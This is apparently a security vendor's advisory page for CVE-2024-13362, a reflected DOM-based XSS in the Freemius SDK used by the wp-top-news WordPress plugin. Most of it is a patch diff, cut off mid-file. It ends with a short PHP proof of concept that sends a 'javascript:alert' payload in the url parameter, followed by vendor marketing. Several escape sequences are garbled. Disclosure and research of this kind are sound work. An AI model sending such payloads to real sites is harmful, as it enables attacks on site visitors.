+			if ( ! empty( $wp_filter ) && isset( $wp_filter[ $hook ] ) ) {
+				$this->removed_actions[ $hook ] = $wp_filter[ $hook ];
+				unset( $wp_filter[ $hook ] );
+			}
+		}
+
+		/**
+		 * Restore previously removed actions for a given hook.
+		 */
+		public function restore( $hook ) {
+			global $wp_filter;
+
+			if ( ! empty( $wp_filter ) && isset( $this->removed_actions[ $hook ] ) ) {
+				$wp_filter[ $hook ] = $this->removed_actions[ $hook ];
+				unset( $this->removed_actions[ $hook ] );
+			}
+		}
+	}
 No newline at end of file
--- a/wp-top-news/freemius/includes/class-fs-logger.php
+++ b/wp-top-news/freemius/includes/class-fs-logger.php
@@ -636,7 +636,17 @@
 			$offset = 0,
 			$order = false
 		) {
-			global $wpdb;
+			if ( empty( $filename ) ) {
+				$filename = 'fs-logs-' . date( 'Y-m-d_H-i-s', WP_FS__SCRIPT_START_TIME ) . '.csv';
+			}
+
+			$upload_dir = wp_upload_dir();
+			$filepath   = rtrim( $upload_dir['path'], '/' ) . "/{$filename}";
+
+			WP_Filesystem();
+			if ( ! $GLOBALS['wp_filesystem']->is_writable( dirname( $filepath ) ) ) {
+				return false;
+			}

 			$query = self::build_db_logs_query(
 				$filters,
@@ -646,14 +656,6 @@
 				true
 			);

-			$upload_dir = wp_upload_dir();
-			if ( empty( $filename ) ) {
-				$filename = 'fs-logs-' . date( 'Y-m-d_H-i-s', WP_FS__SCRIPT_START_TIME ) . '.csv';
-			}
-			$filepath = rtrim( $upload_dir['path'], '/' ) . "/{$filename}";
-
-			$query .= " INTO OUTFILE '{$filepath}' FIELDS TERMINATED BY 't' ESCAPED BY '\\' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n'";
-
 			$columns = '';
 			for ( $i = 0, $len = count( self::$_log_columns ); $i < $len; $i ++ ) {
 				if ( $i > 0 ) {
@@ -665,12 +667,16 @@

 			$query = "SELECT {$columns} UNION ALL " . $query;

-			$result = $wpdb->query( $query );
+			$result = $GLOBALS['wpdb']->get_results( $query );

 			if ( false === $result ) {
 				return false;
 			}

+			if ( ! self::write_csv_to_filesystem( $filepath, $result ) ) {
+				return false;
+			}
+
 			return rtrim( $upload_dir['url'], '/' ) . '/' . $filename;
 		}

@@ -691,5 +697,32 @@
 			return rtrim( $upload_dir['url'], '/' ) . $filename;
 		}

+		/**
+		 * @param string $file_path
+		 * @param array  $query_results
+		 *
+		 * @return bool
+		 */
+		private static function write_csv_to_filesystem( $file_path, $query_results ) {
+			if ( empty( $query_results ) ) {
+				return false;
+			}
+
+			$content = '';
+
+			foreach ( $query_results as $row ) {
+				$row_data = array_map( function ( $value ) {
+					return str_replace( "n", ' ', $value );
+				}, (array) $row );
+				$content  .= implode( "t", $row_data ) . "n";
+			}
+
+			if ( ! $GLOBALS['wp_filesystem']->put_contents( $file_path, $content, FS_CHMOD_FILE ) ) {
+				return false;
+			}
+
+			return true;
+		}
+
 		#endregion
 	}
--- a/wp-top-news/freemius/includes/class-fs-plugin-updater.php
+++ b/wp-top-news/freemius/includes/class-fs-plugin-updater.php
@@ -542,34 +542,13 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
                 // Get plugin's newest update.
-                $new_version = $this->_fs->get_update(
-                    false,
-                    fs_request_get_bool( 'force-check' ),
-                    FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
-                );
+                $new_version = $this->_fs->get_update( false, fs_request_get_bool( 'force-check' ) );

                 $this->_update_details = false;

@@ -720,16 +699,8 @@
                 );
             }

-            if ( $this->_fs->is_premium() ) {
-                $latest_tag = $this->_fs->_fetch_latest_version( $this->_fs->get_id(), false );
-
-                if (
-                    isset( $latest_tag->readme ) &&
-                    isset( $latest_tag->readme->upgrade_notice ) &&
-                    ! empty( $latest_tag->readme->upgrade_notice )
-                ) {
-                    $update->upgrade_notice = $latest_tag->readme->upgrade_notice;
-                }
+            if ( $this->_fs->is_premium() && ! empty( $new_version->upgrade_notice ) ) {
+                $update->upgrade_notice = $new_version->upgrade_notice;
             }

             $update->{$this->_fs->get_module_type()} = $this->_fs->get_plugin_basename();
--- a/wp-top-news/freemius/includes/class-fs-security.php
+++ b/wp-top-news/freemius/includes/class-fs-security.php
@@ -1,103 +1,103 @@
-<?php
-	/**
-	 * @package     Freemius
-	 * @copyright   Copyright (c) 2015, Freemius, Inc.
-	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-	 * @since       1.0.3
-	 */
-
-	if ( ! defined( 'ABSPATH' ) ) {
-		exit;
-	}
-
-	define( 'WP_FS__SECURITY_PARAMS_PREFIX', 's_' );
-
-	/**
-	 * Class FS_Security
-	 */
-	class FS_Security {
-		/**
-		 * @var FS_Security
-		 * @since 1.0.3
-		 */
-		private static $_instance;
-		/**
-		 * @var FS_Logger
-		 * @since 1.0.3
-		 */
-		private static $_logger;
-
-		/**
-		 * @return FS_Security
-		 */
-		public static function instance() {
-			if ( ! isset( self::$_instance ) ) {
-				self::$_instance = new FS_Security();
-				self::$_logger   = FS_Logger::get_logger(
-					WP_FS__SLUG,
-					WP_FS__DEBUG_SDK,
-					WP_FS__ECHO_DEBUG_SDK
-				);
-			}
-
-			return self::$_instance;
-		}
-
-		private function __construct() {
-		}
-
-		/**
-		 * @param FS_Scope_Entity $entity
-		 * @param int              $timestamp
-		 * @param string           $action
-		 *
-		 * @return string
-		 */
-		function get_secure_token( FS_Scope_Entity $entity, $timestamp, $action = '' ) {
-			return md5(
-				$timestamp .
-				$entity->id .
-				$entity->secret_key .
-				$entity->public_key .
-				$action
-			);
-		}
-
-		/**
-		 * @param FS_Scope_Entity $entity
-		 * @param int|bool         $timestamp
-		 * @param string           $action
-		 *
-		 * @return array
-		 */
-		function get_context_params( FS_Scope_Entity $entity, $timestamp = false, $action = '' ) {
-			if ( false === $timestamp ) {
-				$timestamp = time();
-			}
-
-			return array(
-				's_ctx_type'   => $entity->get_type(),
-				's_ctx_id'     => $entity->id,
-				's_ctx_ts'     => $timestamp,
-				's_ctx_secure' => $this->get_secure_token( $entity, $timestamp, $action ),
-			);
-		}
-
-		/**
-		 * Gets a sandbox trial token for a given plugin, plan, and trial timestamp.
-		 *
-		 * @param FS_Plugin      $plugin
-		 * @param FS_Plugin_Plan $plan
-		 * @param int            $trial_timestamp
-		 *
-		 * @return string
-		 */
-		function get_trial_token( FS_Plugin $plugin, FS_Plugin_Plan $plan, $trial_timestamp ) {
-			return md5(
-				$plugin->secret_key . $plugin->public_key .
-				$plan->trial_period .
-				$plan->id .
-				$trial_timestamp
-			);
-		}
-	}
+<?php
+	/**
+	 * @package     Freemius
+	 * @copyright   Copyright (c) 2015, Freemius, Inc.
+	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+	 * @since       1.0.3
+	 */
+
+	if ( ! defined( 'ABSPATH' ) ) {
+		exit;
+	}
+
+	define( 'WP_FS__SECURITY_PARAMS_PREFIX', 's_' );
+
+	/**
+	 * Class FS_Security
+	 */
+	class FS_Security {
+		/**
+		 * @var FS_Security
+		 * @since 1.0.3
+		 */
+		private static $_instance;
+		/**
+		 * @var FS_Logger
+		 * @since 1.0.3
+		 */
+		private static $_logger;
+
+		/**
+		 * @return FS_Security
+		 */
+		public static function instance() {
+			if ( ! isset( self::$_instance ) ) {
+				self::$_instance = new FS_Security();
+				self::$_logger   = FS_Logger::get_logger(
+					WP_FS__SLUG,
+					WP_FS__DEBUG_SDK,
+					WP_FS__ECHO_DEBUG_SDK
+				);
+			}
+
+			return self::$_instance;
+		}
+
+		private function __construct() {
+		}
+
+		/**
+		 * @param FS_Scope_Entity $entity
+		 * @param int              $timestamp
+		 * @param string           $action
+		 *
+		 * @return string
+		 */
+		function get_secure_token( FS_Scope_Entity $entity, $timestamp, $action = '' ) {
+			return md5(
+				$timestamp .
+				$entity->id .
+				$entity->secret_key .
+				$entity->public_key .
+				$action
+			);
+		}
+
+		/**
+		 * @param FS_Scope_Entity $entity
+		 * @param int|bool         $timestamp
+		 * @param string           $action
+		 *
+		 * @return array
+		 */
+		function get_context_params( FS_Scope_Entity $entity, $timestamp = false, $action = '' ) {
+			if ( false === $timestamp ) {
+				$timestamp = time();
+			}
+
+			return array(
+				's_ctx_type'   => $entity->get_type(),
+				's_ctx_id'     => $entity->id,
+				's_ctx_ts'     => $timestamp,
+				's_ctx_secure' => $this->get_secure_token( $entity, $timestamp, $action ),
+			);
+		}
+
+		/**
+		 * Gets a sandbox trial token for a given plugin, plan, and trial timestamp.
+		 *
+		 * @param FS_Plugin      $plugin
+		 * @param FS_Plugin_Plan $plan
+		 * @param int            $trial_timestamp
+		 *
+		 * @return string
+		 */
+		function get_trial_token( FS_Plugin $plugin, FS_Plugin_Plan $plan, $trial_timestamp ) {
+			return md5(
+				$plugin->secret_key . $plugin->public_key .
+				$plan->trial_period .
+				$plan->id .
+				$trial_timestamp
+			);
+		}
+	}
--- a/wp-top-news/freemius/includes/customizer/class-fs-customizer-upsell-control.php
+++ b/wp-top-news/freemius/includes/customizer/class-fs-customizer-upsell-control.php
@@ -73,7 +73,6 @@
 						'forum'              => 'Support Forum',
 						'email'              => 'Priority Email Support',
 						'phone'              => 'Phone Support',
-						'skype'              => 'Skype Support',
 						'is_success_manager' => 'Personal Success Manager',
 					);

--- a/wp-top-news/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/wp-top-news/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

@@ -76,10 +75,12 @@
 		 * @var string Support phone.
 		 */
 		public $support_phone;
-		/**
-		 * @var string Support skype username.
-		 */
-		public $support_skype;
+        /**
+         * @var string Support skype username.
+         *
+         * @deprecated 2.12.1
+         */
+        public $support_skype = '';
 		/**
 		 * @var bool Is personal success manager supported with the plan.
 		 */
@@ -138,7 +139,6 @@
 		 */
 		function has_technical_support() {
 			return ( ! empty( $this->support_email ) ||
-			     ! empty( $this->support_skype ) ||
 			     ! empty( $this->support_phone ) ||
 			     ! empty( $this->is_success_manager )
 			);
--- a/wp-top-news/freemius/includes/entities/class-fs-plugin-tag.php
+++ b/wp-top-news/freemius/includes/entities/class-fs-plugin-tag.php
@@ -43,6 +43,10 @@
          * @var string One of the following: `pending`, `beta`, `unreleased`.
          */
         public $release_mode;
+        /**
+         * @var string
+         */
+        public $upgrade_notice;

 		function __construct( $tag = false ) {
 			parent::__construct( $tag );
--- a/wp-top-news/freemius/includes/entities/class-fs-site.php
+++ b/wp-top-news/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
@@ -190,7 +190,7 @@
                 fs_ends_with( $subdomain, '.cloudwaysapps.com' ) ||
                 // Kinsta
                 (
-                    ( fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
+                    ( fs_starts_with( $subdomain, 'stg-' ) ||  fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
                     ( fs_ends_with( $subdomain, '.kinsta.com' ) || fs_ends_with( $subdomain, '.kinsta.cloud' ) )
                 ) ||
                 // DesktopServer
@@ -208,6 +208,40 @@
             );
         }

+        /**
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         *
+         * @param string $host
+         *
+         * @return bool
+         */
+        static function is_playground_wp_environment_by_host( $host ) {
+            // Services aimed at providing a WordPress sandbox environment.
+            $sandbox_wp_environment_domains = array(
+                // InstaWP
+                'instawp.xyz',
+
+                // TasteWP
+                'tastewp.com',
+
+                // WordPress Playground
+                'playground.wordpress.net',
+            );
+
+            foreach ( $sandbox_wp_environment_domains as $domain) {
+                if (
+                    ( $host === $domain ) ||
+                    fs_ends_with( $host, '.' . $domain ) ||
+                    fs_ends_with( $host, '-' . $domain )
+                ) {
+                    return true;
+                }
+            }
+
+            return false;
+        }
+
         function is_localhost() {
             return ( WP_FS__IS_LOCALHOST_FOR_SERVER || self::is_localhost_by_address( $this->url ) );
         }
--- a/wp-top-news/freemius/includes/entities/class-fs-user.php
+++ b/wp-top-news/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/wp-top-news/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/wp-top-news/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/wp-top-news/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/wp-top-news/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/wp-top-news/freemius/includes/managers/class-fs-checkout-manager.php
+++ b/wp-top-news/freemius/includes/managers/class-fs-checkout-manager.php
@@ -1,242 +1,242 @@
-<?php
-	/**
-	 * @package     Freemius
-	 * @copyright   Copyright (c) 2024, Freemius, Inc.
-	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-	 * @since       2.9.0
-	 */
-
-	if ( ! defined( 'ABSPATH' ) ) {
-		exit;
-	}
-
-	class FS_Checkout_Manager {
-
-		# region Singleton
-
-		/**
-		 * @var FS_Checkout_Manager
-		 */
-		private static $_instance;
-
-		/**
-		 * @return FS_Checkout_Manager
-		 */
-		static function instance() {
-			if ( ! isset( self::$_instance ) ) {
-				self::$_instance = new FS_Checkout_Manager();
-			}
-
-			return self::$_instance;
-		}
-
-		private function __construct() {
-		}
-
-		#endregion
-
-		/**
-		 * Retrieves the query params needed to load the Freemius Checkout in the context of the plugin.
-		 *
-		 * @param Freemius $fs
-		 * @param number   $plugin_id
-		 * @param number   $plan_id
-		 * @param number   $licenses
-		 *
-		 * @return array
-		 */
-		public function get_query_params( Freemius $fs, $plugin_id, $plan_id, $licenses ) {
-			$timestamp = time();
-
-			$context_params = array(
-				'plugin_id'      => $fs->get_id(),
-				'public_key'     => $fs->get_public_key(),
-				'plugin_version' => $fs->get_plugin_version(),
-				'mode'           => 'dashboard',
-				'trial'          => fs_request_get_bool( 'trial' ),
-				'is_ms'          => ( fs_is_network_admin() && $fs->is_network_active() ),
-			);
-
-			if ( FS_Plugin_Plan::is_valid_id( $plan_id ) ) {
-				$context_params['plan_id'] = $plan_id;
-			}
-
-			if ( $licenses === strval( intval( $licenses ) ) && $licenses > 0 ) {
-				$context_params['licenses'] = $licenses;
-			}
-
-			if ( $plugin_id == $fs->get_id() ) {
-				$is_premium = $fs->is_premium();
-
-				$bundle_id = $fs->get_bundle_id();
-				if ( ! is_null( $bundle_id ) ) {
-					$context_params['bundle_id'] = $bundle_id;
-				}
-			} else {
-				// Identify the module code version of the checkout context module.
-				if ( $fs->is_addon_activated( $plugin_id ) ) {
-					$fs_addon   = Freemius::get_instance_by_id( $plugin_id );
-					$is_premium = $fs_addon->is_premium();
-				} else {
-					// If add-on isn't activated assume the premium version isn't installed.
-					$is_premium = false;
-				}
-			}
-
-			// Get site context secure params.
-			if ( $fs->is_registered() ) {
-				$site = $fs->get_site();
-
-				if ( $plugin_id != $fs->get_id() ) {
-					if ( $fs->is_addon_activated( $plugin_id ) ) {
-						$fs_addon   = Freemius::get_instance_by_id( $plugin_id );
-						$addon_site = $fs_addon->get_site();
-						if ( is_object( $addon_site ) ) {
-							$site = $addon_site;
-						}
-					}
-				}
-
-				$context_params = array_merge(
-					$context_params,
-					FS_Security::instance()->get_context_params(
-						$site,
-						$timestamp,
-						'checkout'
-					)
-				);
-			} else {
-				$current_user = Freemius::_get_current_wp_user();
-
-				// Add site and user info to the request, this information
-				// is NOT being stored unless the user complete the purchase
-				// and agrees to the TOS.
-				$context_params = array_merge( $context_params, array(
-					'user_firstname' => $current_user->user_firstname,
-					'user_lastname'  => $current_user->user_lastname,
-					'user_email'     => $current_user->user_email,
-					'home_url'       => home_url(),
-				) );
-
-				$fs_user = Freemius::_get_user_by_email( $current_user->user_email );
-
-				if ( is_object( $fs_user ) && $fs_user->is_verified() ) {
-					$context_params

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

<?php

// Configuration
$target_url = 'http://example.com'; // Change to the vulnerable WordPress site

// The vulnerable endpoint is typically a Freemius callback or redirect URL.
// Since the diff shows changes to opt-in and URL handling, we target the 'url' parameter.
// This PoC simulates a crafted link that triggers DOM-based XSS.

$malicious_url = $target_url . '/?url=javascript:alert("XSS")'; // Injected XSS payload

echo "[+] Target URL: $target_urln";
echo "[+] Malicious URL: $malicious_urln";
echo "[+] Attempting to trigger vulnerability...n";

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo '[-] cURL error: ' . curl_error($ch) . "n";
} else {
    // Check if the payload appears in the response (indicating DOM injection)
    // Note: DOM-based XSS may not appear in the raw HTML if injected via JavaScript
    // This check is a simple indicator
    if (strpos($response, 'javascript:alert("XSS")') !== false) {
        echo "[+] Vulnerability likely present: Payload reflected in response.n";
    } else {
        echo "[!] Payload not directly reflected. DOM-based XSS may still execute in browser.n";
    }
    echo "[+] Response snippet: " . substr($response, 0, 500) . "...n";
}

curl_close($ch);

echo "[+] PoC completed.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School